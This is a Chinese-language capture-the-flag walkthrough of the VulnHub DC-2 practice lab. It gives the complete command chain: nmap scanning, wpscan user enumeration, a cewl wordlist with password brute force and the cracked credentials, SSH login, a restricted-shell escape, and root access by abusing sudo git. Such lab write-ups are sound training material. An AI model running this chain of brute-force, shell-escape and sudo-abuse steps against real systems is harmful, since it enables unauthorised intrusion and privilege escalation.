一、环境搭建:
与DC-1非常相似,DC-2是另一个专门建立的易受攻击的实验室,目的是获得渗透测试领域的经验。与最初的DC-1一样,它是为初学者设计的。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。就像DC-1一样,有五面旗帜,包括最后一面旗帜。和DC-1一样,旗子对初学者来说很重要,但对有经验的人来说就不那么重要了。简而言之,唯一真正有意义的旗帜,是最后一面旗帜。对于初学者来说,谷歌是你的朋友。好吧,除了所有的隐私问题等等。我没有探索实现root的所有方法,因为我放弃了我一直在研究的上一个版本,并从基本操作系统安装中完全重新开始。
和DC-1一样,有五个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-2,311/
二环境配置:
1、下载并配置DC-2靶场机并确保攻击机和靶机是在同一个网络段,然后打开虚拟机右键点击设置把网络适配器都设NAT模式。
三、渗透靶场
1、进入命令窗输入ifconfig查看kali的IP地址目标:目标就是我们搭建的靶场,靶场IP为:192.168.63.128/24
2、信息收集:寻找靶机真实IP输入nmap -sP 192.168.63.128/24
3、信息收集:探端口及服务输入nmap -A -p- -v 192.168.63.130
发现开放了80端口,存在web服务,Apache/2.4.10,
发现开放了7744端口,开放了ssh服务,OpenSSH 6.7p1
4、访问web站点打开火狐在url中输入192.168.63.130
发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。
修改hosts文件,添加靶机IP到域名dc-2的指向
输入vim /etc/hosts
输入192.168.63.130 DC-2然后按Esc键在输入:wq 回车即可
5、 添加完成之后,再次访问,访问成功 可以很明显的发现这是一个wordpress的站点发现flag1 在网页上面点击flga 点击去发现flag1
大致意思如下:
你通常的单词列表可能不起作用,所以,也许你只是得小心点。
更多的密码总是更好,但有时你就是赢不了他们都是。
以一个身份登录,以查看下一个标志。
如果你找不到它,就以另一种身份登录。
大致意思就是暴力破解,账号密码
6、做一个目录扫描 输入dirb http://dc-2/
发现疑似后台地址
复制并粘贴到火狐url中 点击回车进入到登录页面发现多个遍历,但似乎没什么有用的东西
7、用户名枚举
前面我们提到这是一个wordpress的站,我们采用专门针对wordpress的工具wpscan来进行扫描
WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能该扫描器可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码。
Wpscan一些常用语句:
wpscan --url http://dc-2
wpscan --url http://dc-2 --enumerate t 扫描主题
wpscan --url http://dc-2 --enumerate p 扫描插件
wpscan --url http://dc-2 --enumerate u 枚举用户
扫描wordpress版本
输入wpscan --url http://dc-2 发现wordpress的版本4.7.10
登录页面尝试登录
随即输入用户名密码,提示用户名不存在,似乎可以进行用户名枚举
首先来个用户枚举,再尝试利用枚举到的用户爆破密码
输入wpscan --url http://dc-2 --enumerate u 枚举出三个用户名:admin jerry tom
8、暴力破解出账号密码
根据flag1可以用暴力破解,我们使用cewl生成字典,
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
为了方便大家记录,或者为将来的研究提供参考,Cewl可以将打印出的字典存储为文件。这里可以使用-w参数来将密码字典存储为text文件:
输入cewl http://dc-2/ -w dc2.txt 或者 cewl http://dc-2/ > 1.txt
输入cat dc2.txt
使用wpscan进行暴力破解输入wpscan --url http://dc-2 --passwords dc2.txt
爆破出来两个账号
jerry/adipiscing
tom/parturient
jerry/adipiscing登录此站点 或 tom/parturient登陆此站点
9、发现flag2
登录后台之后,我们看到flag2,我用的是jerry的账号点进去之后看到flag2提示信息,简单说就是如果wordpress行不通的话就会一个点,我们之前发现有ssh,我们看看ssh
If you can't exploit WordPress and take a shortcut, there is another way.
如果你不能利用WordPress并采取一条捷径,还有另外一种方法。
Hope you found another entry point.
希望你找到了另一个入口。
10、 在tom的家目录发现flag3
jerry/adipiscing
tom/parturient
登录ssh
输入ssh tom@192.168.63.130 -p 7744
输入yes在password那里输入parturient(它不显示子直接打上去就行了,不要以为它卡那里不动了是要输密码的)
在tom账号的家目录 发现flag3 cat用不了
输入cat flag3.txt
tac flag3.txt
more flag3.txt
less flag3.txt
tailf flag3.txt
head flag3.txt
vi flag3.txt
我这里把查看命令都尝试了一遍 less和vi可以来查看,
提示内容如下
接下来,尝试rbash绕过详情参考 https://xz.aliyun.com/t/7642
查看可以使用的命令
输入echo $PATH cd进不去目录 使用ls直接查看目录信息
cd /home/tom/use/bin
ls /home/tom/use/bin
使用echo来绕过rbash
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*
id
ls
11、在jerry的家目录发现flag4
cd ..
ls
cd jerry
ls
cat flag4.txt
Good to see that you've made it this far - but you " re not home yet .
很高兴看到你走了这么远,但你还没回家。
You still need to get the final flag (the only flag that really counts!!! ).
您仍然需要获得最后的标志(唯一真正重要的标志!)
No hints here 一you're on your own now. :- )
这里没有暗示,一,你现在只能靠自己了。*-)
Go on
继续
git outta here!!!!
大致意思就是还没有结束。猜想需要提权才能获取到最终的flag,并且flag4 提示我们可以使用git,我们可以通过git来提权
使用tom用户无权限运行sudo 我们切换到jerry用户
我们可以看到无需root权限,jerry 可以使用 git
输入sudo -l
在tom那里输入parturient 输入su - jerry 在password那里输入 adipiscing 输入sudo -l(它不显示子直接打上去就行了,不要以为它卡那里不动了是要输密码的)
12、提权
查看一下可以使用的root权限命令
find / -user root -perm -4000 -print 2>/dev/null
jerry用户也不可以直接 输入sudo su在jerry:那里输入adipiscing(它不显示子直接打上去就行了,不要以为它卡那里不动了是要输密码的) 使用git命令进行提取输入sudo git help status
输入!/bin/sh,直接输入就
提权成功
13、发现final-flag.txt
whoami
cd /root
ls
cat final-flag.txt